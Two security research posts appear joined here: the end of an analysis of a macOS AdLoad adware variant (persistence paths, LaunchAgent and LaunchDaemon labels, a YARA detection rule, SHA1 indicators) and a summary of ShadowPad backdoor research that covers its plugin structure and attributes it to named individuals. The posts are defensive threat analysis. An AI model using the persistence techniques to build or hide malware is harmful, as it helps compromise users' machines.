When the user logs in, the AdLoad persistence agent will execute a binary hidden in the same user’s ~/Library/Application Support/ folder. That binary follows another deterministic pattern, whereby the child folder in Application Support is prepended with a period and a random string of digits. Within that directory is another directory called /Services/, which in turn contains a minimal application bundle having the same name as the LaunchAgent label. That barebones bundle contains an executable with the same name but without the com. prefix. For example:

~/Library/Application Support/.3276169528277499560/Services/com.SwitcherGuard.service/SwitcherGuard.service

A hidden tracker file called .logg and containing only a UUID string is also dropped in the Application Support folder. Despite the location, if the dropper has also been granted privileges, then the tracker file is owned by root rather than the user.

Further, assuming the user supplied admin privileges as requested by the installer, another persistence mechanism is written to the domain /Library/LaunchDaemons/ folder. This plist file uses the file extension .system, and the corresponding folder in the hidden Application Support folder is also named /System/ instead of /Services/.

The LaunchDaemon is dropped with one of a number of pre-determined labels that mirrors the label used in the LaunchAgent, such as:

/Library/LaunchDaemons/com.RecordMapper.system
/Library/LaunchDaemons/com.SectionaAssist.system
/Library/LaunchDaemons/com.SectionAssist.system
/Library/LaunchDaemons/com.SectionChannel.system
/Library/LaunchDaemons/com.StandardBoost.system
/Library/LaunchDaemons/com.SwitcherGuard.system
/Library/LaunchDaemons/com.TypeCharacter.system
/Library/LaunchDaemons/com.TypeInitiator.system

The persistence plists themselves pass different arguments to the executables they launch. For the system daemon, the first argument is -t and the second is the plist label. For the user persistence agent, the arguments -s and 6600 are passed to the first and second parameters, respectively.

Interestingly, the droppers for this campaign share the same pattern as Bundlore/Shlayer droppers. They use a fake Player.app mounted in a DMG. Many are signed with a valid signature; in some cases, they have even been known to be notarized.

Typically, we observe that developer certificates used to sign the droppers are revoked by Apple within a matter of days (sometimes hours) of samples being observed on VirusTotal, offering some belated and temporary protection against further infections by those particular signed samples by means of Gatekeeper and OCSP signature checks. Also typically, we see new samples signed with fresh certificates appearing within a matter of hours and days. Truly, it is a game of whack-a-mole.

The droppers we have seen take the form of a lightly obfuscated Zsh script that decompresses a number of times before finally executing the malware out of the /tmp directory (for a discussion of how to deobfucscate such scripts see here).

The final payload is not codesigned and isn’t known to the current version of Apple’s XProtect, v2149.

How New Is This Variant of AdLoad?

In our investigation, we found over 220 samples of this adware variant on VirusTotal, in both packed and unpacked form. At least 150 of these are unique. Interestingly, a lone sample of this variant was documented by analysts at Confiant, who described the malware’s string decryption routine in a post published on June 3rd, 2021. According to these researchers, the sample they observed had been notarized by Apple.

We note that across our corpus, all samples from November 2020 to August 2021 use the same or similar string decryption routine as that described by Confiant. Similarly, the earlier researchers’ sample, “MapperState.system” conforms to the AdLoad naming pattern that we observed and described above. Both these indicators definitively link our findings with theirs.

Our research showed that samples began to appear at least as early as November 2020, with regular further occurrences across the first half of 2021. However, there appears to have been a sharp uptick throughout July and in particular the early weeks of August 2021.

It certainly seems possible that the malware developers are taking advantage of the gap in XProtect, which itself has not been updated since a few week’s after Confiant’s research over two months ago. At the time of writing, XProtect was last updated to version 2149 around June 15th – 18th.

None of the samples we found are known to XProtect since they do not match any of the scanner’s current set of AdLoad rules.

However, there is reasonably good detection across a variety of different vendor engines used by VirusTotal for all the same samples that XProtect doesn’t detect.

On our test machine, we set the policy of the SentinelOne Agent to “Detect only” in order  to allow the malware to execute and observe its behaviour. In the Management console, the behavioral detection is mapped to the relevant MITRE indicators.

Since AdLoad is a common adware threat whose behavior of hijacking search engine results and injecting advertisements into web pages has been widely documented in the past, we ended our observation at this juncture.

Conclusion

As Apple itself has noted and we described elsewhere, malware on macOS is a problem that the device manufacturer is struggling to cope with. The fact that hundreds of unique samples of a well-known adware variant have been circulating for at least 10 months and yet still remain undetected by Apple’s built-in malware scanner demonstrates the necessity of adding further endpoint security controls to Mac devices.

As we indicated at the beginning of this post, this is only one campaign related to AdLoad that we are currently tracking. Further publications related to these campaigns are in progress.

Indicators of Compromise

YARA Hunting Rule

private rule Macho
{
	meta:
		description = "private rule to match Mach-O binaries"
	condition:
		uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca
}

rule adload_2021_system_service
{
	meta:
		description = "rule to catch Adload .system .service variant"
		author = "Phil Stokes, SentinelLabs"
		version = "1.0"
		last_modified = "2021-08-10"
		reference = "https://s1.ai/adload"
	strings:
		$a = { 48 8D 35 ?? ?? 00 00 48 8D 5D B8 BA B8 00 00 00 48 89 DF E8 ?? ?? FB FF 48 8B 43 08 48 2B 03 66 48 0F 6E C0 66 0F 62 05 ?? ?? 00 00 66 0F 5C 05 ?? ?? 00 00 0F 57 C9 66 0F 7C C0 48 8D 7D A0 0F 29 0F F2 0F 59 05 }
	condition:
		Macho and all of them
}

Persistence Filepaths

~/Library/LaunchAgents/com.<label>.service.plist
/Library/LaunchDaemons/com.<label>.system.plist

Executable Paths

~/Library/Application Support/.[0-9]{19}/Services/com.<label>.service/<label>.service
/Library/Application Support/.[0-9]{19}/System/com.<label>.system/<label>.system

Labels

AccessibleTask
ActivityElement
ActivityInput
AnalyzerWindow
AssistiveFile
BoostConsole
BrowserActivity
CleanParameter
CompellingState
ConfigProgress
ConfigType
DefaultTool
DeskProduct
DesktopInput
DominantCommand
DominantPartition
ElementaryType
ElemntState
EssentialDesktop
EssentialType
ExploreActivity
ExploreAnalog
ExploreSync
ExtendedSprint
GeneralObject
GuideRecord
InetImprovment
InitialProgram
InitialSkill
LeadingUpdater
ManagerAnalog
MapperState
OperativeMachine
OperativeUnit
OpticalUpdater
OriginalModule
RecordMapper
SectionAssist
SectionChannel
SkillApplication
SkillFormat
SkilledObject
StandardBoost
SwitcherGuard
TopProcesser
TrustedAnalog
TypeCharacter
TypeInitiator
TypicalProcess
UnitHandler
ValidBoost

MITRE

T1211 Defense Evasion
T1105 Remote File Copy
T1160 Persistence

SHA1 HASHES

.service, .system files
4c644adcdcc68c6c52e95bd851e7c944f307d968
6056024b3cf90b01b737c54ed5c785271c3acfeb
c2663bfe8fcf0734263cdf0875dcfad517576238
c5e2851de071001614dd58ecfab565614a6151b6
8e657ad96feb624696bad2b7b1e0d5d58da3ca94
b70a3c4b7f3d4e99fdf84efbeae7a39638221e59
2336c5e42444619d0c69d4cab1fc5b54ae92a0ec
e8d202e3581bf29c31e6f7fc279dc70d517510a8
722352a3a4a6f2a876dea90624991053034da555
95f74e68ed970c304d9ea39e2cd75bc3309cb4d2
4d258fefe729f16a55904ba993d783241d95dcd9
f250b4be027ff4a6a87b0dcf2cff5fd0acc11f0f
dd7df2bd2280213545fd3c6c0f9095d8c349f480
4ca250b74d1ee759bb51f3c50161c793a17da61d
446804008faf8a5509a02412f1e2f3a97e433cc0
525244f96c0225f279a6fa6dff55ed6de114334b
cc56bd813f34a3e19286ef211132a39e5f3f4c50
dfa112d78d5a49282fe2494ab11bb4e924fc1d9a
bf78c2f48991a8024b0c831c5a54324ca937c1b6
f3b01c0710a5fe623c4a944b1357c279a7310f35
670abdf80ea4e689ca376514dd76865ad22e39ec
cc4b56ded4a1f28396cb1ac625467b1c43c3cc0c
9eff76bc9c6cc6c88c438f7c442027cdb22e5d8d
034feaca526a21fce14e5a59df2a15ec840dc15d
f0bf049ac35b5d239fd386b81d03d9efd9049d0b
5060e552a2a78ff477f6c8ed09147bac31a8ad23
a163ad595be34988fa70bd57b2fa238ac36e43e2
210d1951430f7a7daf88bf40c72df6a2d1336e97
a7ae668be424e4fe5ce1758dd507cef58274ebb2
67825f467de2f988d62537b17286c7411366bf3c
17620732836f1edaa7d4f4a3623bfaee9851f060
a1735e52f37288b5c96ba72b121de1c79ae72bc9
4270783f1347a5bd0df6a9ad77352ff6aa4a81ae
b157cbdf8877f1aaa4415020bf976dae3af2ad98
d0fc30037dde0d6705eff642cd80f0a92bc23ab7
e9682590793c44c1ef20f455aa4f9aefe606e3d8
823d61b03e96951167753003d203e72b4b4bd42c
ab4bd98c0f798bb7e9344fa7b51aabece59c25f7
45aef3a5a171e49aab7e165c184e43dcab349d91
7bfc4d9051e216b99e5858bf653ed983d1fe0aaf
8f9889f93a86ba80e42b5ed314ee926b202878e8
2ae527b7e10097280f5101b0b586f64d4e6bdb46
1925e3f88a092e1a543e1042bb403794832c4beb
dd14fd2d3e498a9b41295a7f9ddd69ca6de6742b
d6697b70f598ac6fb8c68231eea0fcda28225f7c
d2fc35e7c55ae26985dba531c4492188fdc13f86
3656aa007b5d05277ba5527a71fd09ffa41137bc
bc614964673cad434cbfedb5b47d037f99919339
96c1563aea4242b3a014a6638e1fe616e93f213f
a6e24a3e051546e16a038e02efe8f5ae3df11536
3b1b832d418c9b3645bf1cd0bf3bd634a2cb15f9
1c713fe9ef48ffb4adda26fd59a4c16333602802
85171a3cf0f663d265da94a5387e42116a828819
c104163b139d20cb3727e89934a2c7352723514c
fa8c35b469bb7dd50166d70aae93a8ba2f5721b9
fff8dace788ffa2188c61b5efe95d07ca719056b
487aab1583b1258932461b7eaba565840439d77c
4bdfeb9e9dee0decb551838ab9fb19d21ac76375
243adaa1955e4a4a57cf240c0d4773c10e5d66a5
b037982890cb4cd39771d0a19615d5fb49b0fc64
59234581da266da1257a9fe1de45c8259e22ac1c
6dffb483119f0a2f97e000830a4bfc0aa1e1f696
081dfd7795bd82d037cffca5ad714fa72db28e3d
be2add2c4a065a481a3276efc9078fe2e6a2eba3
219fb270e5f3ac942bab082f12fc45141b5a28d2
233d33a3d8d4cde33761e42c7d969c6316e14796
880f3cbfecb20b80131b689b3ae94325bdec6996
008eaa5489dc86643ef516b23258a02111544124
8523259f5b74f3405d5c3ca36b7c238a8b0db5f8
e9a450988933b11c73a0160c157f6965c111a7a5
95579871c86810a9bbf238f325d470cd7b08a94d
f2462e0daaf3b23b7ab73e695f1ae8b036273493
5cce9004ce7134e3b62b9d5d733347c048830231
f5b6b5fabad5aba545d259f1370130f5295b5692
ac168a783051f3322bb43a72518d49f67d084166
7c2455ca1eb1cd8eec91acf21a501e96c8d715ac
71c9ab91cb285e71fe144e4f0626cf9b3f7f7adb
f161b7250d79b89abed92affc764b2925ed05182
6f32bd0c8a8120b2a73a3a412a480345e464790c
5c5830f13ef7d20a60cddb6aa2ce63794574d466
622cfea78f430473478d98d33a985190402e2f0b
d5aeabcc77d11e45017341e102c4d58391a5fbb2
a3323205db565f2c6e0182853138ce7a66807ac7
fc9ff33a949ee9001f5537a1efde8dc4e2b994c8
ca35bd32d135d8513a81866836a8fe73de970266
8fb2b387c9b95f9f9a408f528462eb57a96e34f6
e85e710f12f34be87b4e0bb9fe34547e69ad6db0
4a63e937779c52d034c0d276ef46e99e1f49596a
941388e2880fe447fd958d78655264639549373e
b4395d37fb0b78422e959c4e8d3ed984f01ba518
e1271de943444766687b6d5c707fa66a5b71e8f0
7c7af95109714cfd0108536aa21c2461b5d7c451
d39f7d5a0d9923aed5d06155b1caf38c8279b916
b221b50ccec7c6f7d309f643dd2ee287f2569176
b4193cf5f0d9f07f0afe8a46b405b460293082d0
3025d8a5463dc409af8c85742924373ba7e87e11
197f700c045c43eecae02130d990a9dbba2f9802
763fb085dfe338a286302c72869deacc1ab0372d
8f5a7c48f2a4fdbd3f0d0cdaf313163034b02a88
a81ce8cdd485a265e16a374101cd3c712d651674
a248211f67ea4874418961a8c596d7183d71131f
4a534ab4dfe55e8a7da79a96cdb46b1fa0fa9e47
d3514efe6ec9b4dbe012e6a5a971004818d877e5
b2f645477fbe5d9bddbec96d267fae1518920517
66c9e7846a2263484f6b2b3653c137229e18feeb
7f8ef2c17a9347e52b9c8eab385f2a774d6a1b76
9430703cb3bc6a0454cf4da07191f10b20af3e76
b4280bd84e160b285500d944ca7f14696d2be457
61acc635fc38d785aa95abc8f9f39bb9e853ccfd
e3029f78731161c75bfd8ab53c86811b927c31a8
16cd7d7d66685689453241557106772ce6f6d21c
4a805fde7a28d3c3188c4398ce603a13d757438c
1ee378795e80a43fcb07678e8582fa6e44c605f8
14c17fac581df68923016a7a56bf39d8290e6abc
46264a0381a0399dd4fd9b30cac0b354be34e304
49ca8c02d0d67040079d5b8185fe4947e5101cf7
62c4c86734c980310e6a204657b17154f8feecc4
8e1c36a686e00a0878525eeef99d48c88f040022
1bd022f25a21f1cbcaaf1481c5d34df46f0a6b2c
4243c523775a98c8d6cc9398857e5813d4dd0842
5a715a77b274d6ab4d6d85fa025deb75a92b3b2f
ffc52b694ac6cb43b852ddbf02ef83e1d2d696f5
ee88a8865110fb4d454a211d52122e09366ab435
2530637b96d9e82a2d49a47ac846ad6737fec83d
8295fef63f90b2ef93fdba41aa0f04ca720c6d5f
034676a0fe5115e10fe256ed94bdd5941d8b7b26
8e2b172fc2846abf48c2f4fde6110d89c60d1c8c
80fa5be5953c3a199fe41469b3e11f8e26a30131
5d85b530b2bdcc30875fccbce189b650bec62366
673ab255386b1a000369ebcacd0669333a4a746f
5b40003f3b3dbb8a79bb70e1a6ac62c8bd14501c
88a9162b8887beb36e487c4e156e5bb25a129c37
a58b7e2f8e15039887d813dc51230f5a58ce964c
9d0b08c8f13402d074011e0cba6fb0b1571132bd
13b49b0dd0dc95059da81569f29d4bedbc07faab
3f0b3b6835a363c4e01401e28bde66277693e46b
11a882ea1a8c62e362725528463a95eeeb7f7103
e3c226bf3a5c6a3cd4bbedf3fd5db00dfd5e6f8b
8571ad38afe8721491c6d50631836db35c3ca701
a27d3cc014391f47b1174bfe8b2cdbf9ec23daf5
7792403a0a6400dfb79db20d6af346685b9f4774
6b133d16402015822467ea1ff4204bc40dff2e0f
163d2e6daecbc419d3e9a011b04c6b62488a9a8e
6693c6d4061fae64aac86e17b4fa72d1a7491fe7
72aec20fa4da9d8024e5aa94dd43c3ed6ce703c5
0cde09d5b18517d4e1632cff3f90fcb33d0dd225
b9bc88fa57f19a095ed00a664e671ebb2c095b2f
ec11dc98fbea6f6ba7a8e94c5aebee25815b3ba1
557d20e8c938228b6ea569fd3ab23359b174bbe1
98ffb280981218316c32624fe991d1d5cb81e319
ada45f83ed15138b7a58e55cac613d93814d6ed6
2b4526e0fe5526800ed9475161f31786380753ca
95953e735dc82564816be0178ad3aaefeff13a8e
5364effde06a4e09afb5c0a6b9179a8e75776cd1
075fcc3777a706cae6af9ac514322011ab9a4a14
17321a3e97ebd5b85be4b2f88e1f6799214a711b
807975a15e04822d5b6abfd54cfc6def4d61613b
735a97d21e91023a33575946373b0f7a7ba80d32
ae3e2a14ea5df3efc10af45755a14ed3b4c67524
a7b9ce7c5dce62258d4d4fa17bfe1273778766c3
7ef3de49716784d9d7f50fb96b9a7ad090a052f8
b47adfa20cf16871a7c18f9cdfa855765ff5eaca
10821b9bba7cca78cd118c942b73e4b2575ee4c8
652747b071b2bb4c445f994504726861933c5249
f28add9e3d21b8cfbffb60d12760dd307cfe356e
e49db30e36b1172301ef2f8b000a074e19dc1ac9
6ccedd0e86de1419011a956de435a46243378c0e
211d1b64b0e8ee4087198318b40e1be6204a9f93
8e0509d8e59edef9e582e725bd67c7e553832a34
63755111ca179fb1cd10173677742e529884befb
2b42863c1f9a7228e6a71f8dbaf3b149bc19b3b7
c33322c363a1ef6a34f2e21d850f0c31dea960e9
e504942c5b3200c6e455bc7bdb0e0a6786dceb42
b0aa5e49cfebcc16d3a3e4763fa2ff142c4d3ce4
cccdbdf2b14d12e0ae0d963ba6b396650f88b4a1
7a8f664bef819a79c343fc8b40442f212c18372d
285233cbfbdd4e7435a228ef831005f07b125e0d
4ee3307291731974f0f250faea384c43333d8484
5f32868dfde684b2d174bdb3f58adc832a24128e
14fb3f59923f7697ad0997172d6a876415f12724
b1a24f9f1eaa736e2245eef2136855a88e9a0f32
5787aabb6e5bda139378975d549351f14a2f8ce3
137aa5bdc677dab56eaa46ef65eb55c93b25a354
c63117e28473abc05f731873c79c040f27e7ac4d
8c1d298e43e38dd1c82c6d00887afe6bee645c3d
0b39498bb7200e9319602f83592fb9a3b6dd8b1c
dd747d6e5260e5d827b09bab408871dcbd2172b6
1d62a90e8af50299f577dd07609c43434116b84e
e0b32dae2c8e3862409edde944de2c00921c2d3c
2891bc69ae942535fb84233a83bf9db6ec67eef6
1da62c6d928eebfe2f7d272a06454ed279935fee
86acf5dd10a2129b0117d71a69a4f8588f8c4c99
0903d51c1114c3e8b7f2f3fab9e23ab5e1339d7d
3d51ea5e39f8fd73f9d8aa7fbd81f898faa4740b
4cc82fa159cf7849a2dc979e428178b6c6150f54
d4676d7c771053e6fabc44e220008c6a07b3627e
cacd8927569cbb10b40d754e653f5f9b4671a55c
70b8097a648a85e37e87cf3af7a13fb8fbb65fb0
1f0c7b7b002e5c03f2ad9103a75ab48c7059ccc1
886f717a09ecb136321586e2346d03b127503732
770a507c815bb766b7de2b1bf3a2a6e92cf129fd
6b3d50c76d9afe36498d4a40b9812c970a7c8531
3601e9c8015bad2c6ec5e26ca79a6b899d8f91fe
147abbc8b7670fde1932b3dbcf35e7ae17dd6f8a
dc52d813154178cdf958fc191042110ae5f398e9
c4482500b968d6b823eee5ee85f66ac93acbd1fa
26dc443b3d9559b217f36bb848d7183b68d70232
3b69a85db6219c89733df82e4f1f71597cc0d71d
bf4068e707b19f0134e76a9b6371d97741a96cc2
e4055f8a3fc06327c28e1b22b532a4eba7793860
f56f7036e92cb7c905f919c9a4429ad5e90a201f
9da84dcdd43aed44707d9db08eb92ceca232c055
3e31041a7e84ec1f4214badb2b15d79e06ef3a28
8e7c2197804f624b87f7cd625f9037ec2b2e53b1
24dcb22fc3e98f0e4eb810d506f73b0596275a72
2e1ec6842815573fd7f814151b4a10b9810cd569
1fc6b2880a925efdeaff7064e1c0de5a503615b6
3d38673a1bed5e6b428a55137a3defb5d8e26938
36d36def21ff145bc966277e2fc99043b10e2b00
7d5aaeb40759b66edea2133cb8f3a0f7037ff982
5883fdea86088bb624e8eabe2a2d615628c4f244
4c7fbec5627642402e3dd3f50ea0abe902f82c96
9ec49c45214680826e1f9957fb64a3693f67af2f
69f0e43232ade2fe225889c08454357f52ad7893
a190fde31a51b43f1ba2010fe786d435e783c6a1
c0bbc47aff669d7fec54ad43f5a6bb3bb1351d93
3fb84a98a262bdcb53f90dc5732be20185b0c727
f64bf92e075c5801cc5f82c8924d81142d17d0b3
9e41cf57199a88a9175350017942740774597110
7452f9e2d340505d54e49af597007e71d40a6f2a
dbe13ffd66888d7fc60e413c2c062c3d9c4b25d3
ffd0ec88308f44232503d3cf799d0f3dcd76b1dd
18ae7e19c81041d55219da0d6e4e6da66b22097c
6a559c7c0ac7a1070a1f836d95bc12de9cdbf0d6
8622fcb820e9f40366bcd48930a8b457df8d8671
17c35d1c4e1d7f9d44963c545911d836a356d5b5
24f58e48826f4845d7ad60e403e4fbab822320f0
fb47279af84bc57c66bec19685cc9cccfaf3589e
33b99d8c575a1300c18015d2ce2a04d86ddefe84
e096471893719c6c9ac8371cc5580c0a8be7b808
dfab92cc8b5df4a48e1f1081916b3c08f540b677
e539ad135010c9c82b9a6138c11ea2a9b3f902e8
9238d6fafc93349e07d41d4a6ad560a91bb0c37a
7e735235f47ab2bdf3de99b493e7d7957dde1164
be2703217ff767b91519871a4482f160247118b9
b0784710e17ffd9a8a53e35cc83bb15baa8213bb
1172ca7b53c21ead825f759adf95e575690eb608
5767626d89277bf4e846bf9f9bb12b680bb5b54a
399f3000653ded1be02090ac640b005adcd0439a
809e48190c2514e93cb8c97be7833ba35ffb41d9
3fc8932eca10b30c3ee17755449a87519e4fbfce
c9da6247a009a62ce1f3886a885721801e868be6
209bb5141bf075c2e554e7194158f3d7c7417365
6249467e90ace912a94560406489a0fcd69f8b08
433780d6189c18e5344cba31cf27a5608320f732
2483d24c0dbe6151ddeca1284395883fa184a08c
a8399681394c0e5773fe4939508b9dcf7077bf04
12d3771cef25ba1e8001edba703d167a294c9002
3f075a43c5738faea54fe86c79c7312250cce734
70341c310aead1c1d63068bd05fda85ae2604c41
beddbfe3871782089fbc8747d235ae53f3177fad
3332e7db5787064b2ad6dc57412fd269ff440006
ee887cd39026b57f73db319c3ec35a2fa2f3b47d
7d3cc10b998597855d6866a89dddf03e26be6411
58e9b2734e8de7760701d7652f043242d22e27c2
9eaf3939e5071fcf3d28ea025b4ce7ff558efc08
af405057579725f98a572178820018715109fc6e
13eeceafcff834ffed27ce81005ca29b320e59ce
17a279322693102bfc0477484c57e6a56dc05e25
d3cf31bbdcb622ebdd07caba4e934d75afa56d7c
a967d560e330553a30ea64023ed3f930a9684570
01e48a7f74a72f8566907a603b02a9210b808771
0cf615d17346ff0845f4be6b68f8be096573936a
8124dd6ea9d18e770b4633da14b8116c9e2b1dbf
029772752d87de1e7804756b433ae35abd458235
77831651f9d56b4203f16ef5661288a059bcfbe5
0353cf221863edb056d5b45bef1c070c1fb80994
b9ddefaa48833b7a59db846d9e46c9fa547f4bad
2a634221a9d0ca4a965008d8dcf4bbb1702a47e5

Droppers
8bf1defb2fea1880fdfb98e863276dc4cbb7a3e5
9912549c3a86e2224a5684a3c04d76bdfd2cc0a4
400138e08e0ffa1220ee19a82e5f24dd1b20868d
and
similar-to:1724942eeec7c367238409d06d6c9d39a3477998c124a2a9f6f78c425533af17

Note: Some of these droppers may deliver different payloads.

By Yi-Jhen Hsieh & Joey Chen

Executive Summary

• ShadowPad is a privately sold modular malware platform –rather than an open attack framework– with plugins sold separately.
• ShadowPad is still regularly updated with more advanced anti-detection and persistence techniques.
• It’s used by at least four clusters of espionage activity. ShadowPad was the primary backdoor for espionage operations in multiple campaigns, including the CCleaner, NetSarang, and ASUS supply-chain attacks.
• The adoption of ShadowPad significantly reduces the costs of development and maintenance for threat actors. We observed that some threat groups stopped developing their own backdoors after they gained access to ShadowPad.
• As a byproduct of that shared tooling, any claim on attribution needs to be reviewed in a cautious way when a shared backdoor like ShadowPad is involved.
• Instead of focusing on specific threat groups, we discuss local personas possibly involved in the development of ShadowPad as an iterative successor to PlugX.

 
Read the Full Report

Overview

ShadowPad emerged in 2015 as the successor to PlugX. However, it was not until several infamous supply-chain incidents occurred – CCleaner, NetSarang and ShadowHammer – that it started to receive widespread attention in the public domain. Unlike the publicly-sold PlugX, ShadowPad is privately shared among a limited set of users. Whilst collecting IoCs and connecting the dots, we asked ourselves: What threat actors are using ShadowPad in their operations? And ultimately, how does the emergence of ShadowPad impact the wider threat landscape from Chinese espionage actors?

To answer those questions, we conducted a comprehensive study on the origin, usage and ecosystem of ShadowPad. The full report provides:

• a detailed overview of ShadowPad, including its history, technical details, and our assessment of its business model and ecosystem
• a detailed description of four activity clusters where ShadowPad has been used
• a discussion of how ShadowPad’s emergence changes the attacking strategies of some China-based threat actors
• how ShadowPad affects the threat landscape of Chinese espionage attacks

In this blog post, we provide an abridged version of some of our key findings and discussions. Please see the full report for an extended discussion, full Indicators of Compromise and other technical indicators.

Technical Analysis

ShadowPad is a modular backdoor in shellcode format. On execution, a layer of an obfuscated shellcode loader is responsible for decrypting and loading a Root plugin. While the sequence of operation in the Root plugin decrypts, it loads other plugins embedded in the shellcode into memory. The plugins are kept and referenced through a linked list:

struct plugin_node {
    plugin_node* previous_node;
    plugin_node* next_node;
    DWORD referenced_count;
    DWORD plugin_timestamp;
    DWORD plugin_id;
    DWORD field_0;
    DWORD field_1;
    DWORD field_2;
    DWORD field_3;
    DWORD plugin_size;
    LPVOID plugin_base_addr;
    LPVOID plugin_export_function_table_addr;
}

Along with the plugins embedded in the sample, additional plugins are allowed to be remotely uploaded from the C&C server, which allows users to dynamically add functionalities not included by default.

As luck would have it, the ShadowPad controller (version 1.0, 2015) was accidentally discovered during private research. All of the stakeholders involved agreed to our releasing screenshots but not the details of the actual file, so we are unable to provide hashes for this component at present.

Analysis of the controller allowed us to obtain a clear picture of how the builder generates the shellcodes, how the users manage the infected hosts, and the kinds of functions available on the controller.

Privately Shared Attack Framework or Privately Sold Modular Malware?

An intriguing question to address is whether ShadowPad is a privately shared attack framework or a privately developed modular malware platform for sale to specific groups. Its design allows the users to remotely deploy new plugins to a backdoor.  In theory, anyone capable of producing a plugin that is encrypted and compressed in the correct format can add new functionalities to the backdoor freely.

However, the control interfaces of the plugins are hardcoded in the “Manager” page of the ShadowPad controller, and the controller itself does not include a feature to add a new control interface.

In other words, it is unlikely that ShadowPad was created as a collaborative attacking framework. Only the plugins produced by the original developer could be included and used through the ShadowPad controller.

On the other hand, even if the control interface of a plugin is listed in the menu, not every available plugin is embedded in the ShadowPad samples built by the controller by default. There is no configuration in the builder to allow the user to choose which plugins are compiled into the generated sample, so this setting can only be managed by the developer of the controller.

If ShadowPad was not originally designed as an open framework, the following question is whether it is freely shared with or sold to its users. The possible author ‘whg’ – and one of his close affiliates, Rose – have been monetizing their malware development and hacking skills since the early 2000s. Both individuals sold self-developed malware, and Rose offered services such as software cracking, penetration testing and DDoS attacks. If ShadowPad was developed by them or their close affiliates, it is more likely to be sold to – rather than freely shared with – other users under this context.

Selling the Plugins Separately Rather than Giving a Full Bundle by Default

The available functionalities to ShadowPad users are highly controlled by the seller of ShadowPad. Looking deeply into the plugin numbers and the distribution of different plugins embedded in around a hundred samples, we assessed that the seller is likely selling each plugin separately instead of offering a full bundle with all of the currently available plugins.

The image above groups the samples by the number of the plugins embedded in them. Most of the samples contain less than nine plugins with the following plugins embedded: Root, Plugins, Config, Install, Online, TCP, HTTP, UDP and DNS. This set of plugins can only support the installation of backdoors and communications with C&C servers, without providing further functionality.

What Threat Actors Are Using Shadowpad?

ShadowPad is sold privately to a limited set of customers. SentinelOne has identified at least five activity clusters of ShadowPad users since 2017:

• APT41
• Tick & Tonto Team
• Operation Redbonus
• Operation Redkanku
• Fishmonger

In the full report, we discuss each in turn. Here, we will limit our observations to the most interesting points related to APT41.

APT41 is the accepted naming convention for the activities conducted by two spinoffs of what was once referred to as ‘Winnti’, sub-groups – BARIUM (Tan Dailin aka Rose and Zhang Haoran) and LEAD (Chengdu 404 Network Technology Co., Ltd).

All of the individuals are based in Chengdu, Sichuan. Rose (aka “凋凌玫瑰”), Zhang Haoran, and Jiang Lizhi (aka “BlackFox”, one of the persons behind Chengdu 404) were coworkers between 2011 and 2017, while Rose and BlackFox knew each other since at least 2006.

Rose started his active collaboration on malware development with whg, the author of PlugX, when he was a member of the hacking group NCPH back in 2005. They developed “NCPH Remote Control Software” together until 2007. The executable of the controller was freely shared on NCPH websites, but they also declared that the source code was for sale.

BARIUM (Rose and Zhang Haoran) were one of the earliest threat groups with access to ShadowPad. Aside from some smaller-scale attacks against the gaming industry, they were accountable for several supply chain attacks from 2017 to 2018. Some of their victims included NetSarang, ASUS, and allegedly, CCleaner.

Another subgroup, LEAD, also used ShadowPad along with other backdoors to attack victims for both financial and espionage purposes. They were reported to attack electronic providers and consumers, universities, telecommunication, NGO and foreign governments.

Considering the long-term affiliation relationship between Rose and whg, we suspect that Rose likely had high privilege access to – or was a co-developer of – ShadowPad, and other close affiliates in Chengdu were likely sharing resources. This could also explain why BARIUM was able to utilize a special version of ShadowPad in some of their attacks.

Conclusion

The emergence of ShadowPad, a privately sold, well-developed and functional backdoor, offers threat actors a good opportunity to move away from self-developed backdoors. While it is well-designed and highly likely to be produced by an experienced malware developer, both its functionalities and its anti-forensics capabilities are under active development. For these threat actors, using ShadowPad as the primary backdoor significantly reduces the costs of development.

For security researchers and analysts tracking China-based threat actors, the adoption of the “sold – or cracked – commercial backdoor” raises difficulties in ascertaining which threat actor they are investigating. More systematic ways – for instance, analysis on the relationship between indicators, long-term monitoring on the activities and campaigns – need to be developed in order to carry out analytically-sound attribution. Any claim made publicly on the attribution of ShadowPad users requires careful validation and strong evidentiary support so that it can help the community’s effort in identifying Chinese espionage.

Read the full report for an extended discussion, full Indicators of Compromise and other technical indicators.

Read the Full Report

Read the Full Report